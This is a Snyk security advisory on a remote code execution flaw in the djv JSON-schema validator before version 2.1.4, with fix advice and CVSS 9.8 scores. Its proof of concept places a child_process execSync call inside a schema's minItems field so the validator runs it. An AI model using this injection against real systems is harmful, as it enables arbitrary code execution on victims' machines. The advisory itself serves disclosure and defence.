Remote Code Execution (RCE) Affecting djv package, versions <2.1.4


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.44% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-DJV-1014545
  • published 4 Jan 2021
  • disclosed 30 Sep 2020
  • credit Alessio Della Libera (d3lla)

How to fix?

Upgrade djv to version 2.1.4 or higher.

Overview

djv is a dynamic json-schema validator

Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

POC:

const djv = require('djv');
const env = new djv();
const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
env.addSchema('test', evilSchema);
env.validate('test#/common', { type: 'custom' });

CVSS Scores

version 3.1
Expand this section

Snyk

9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical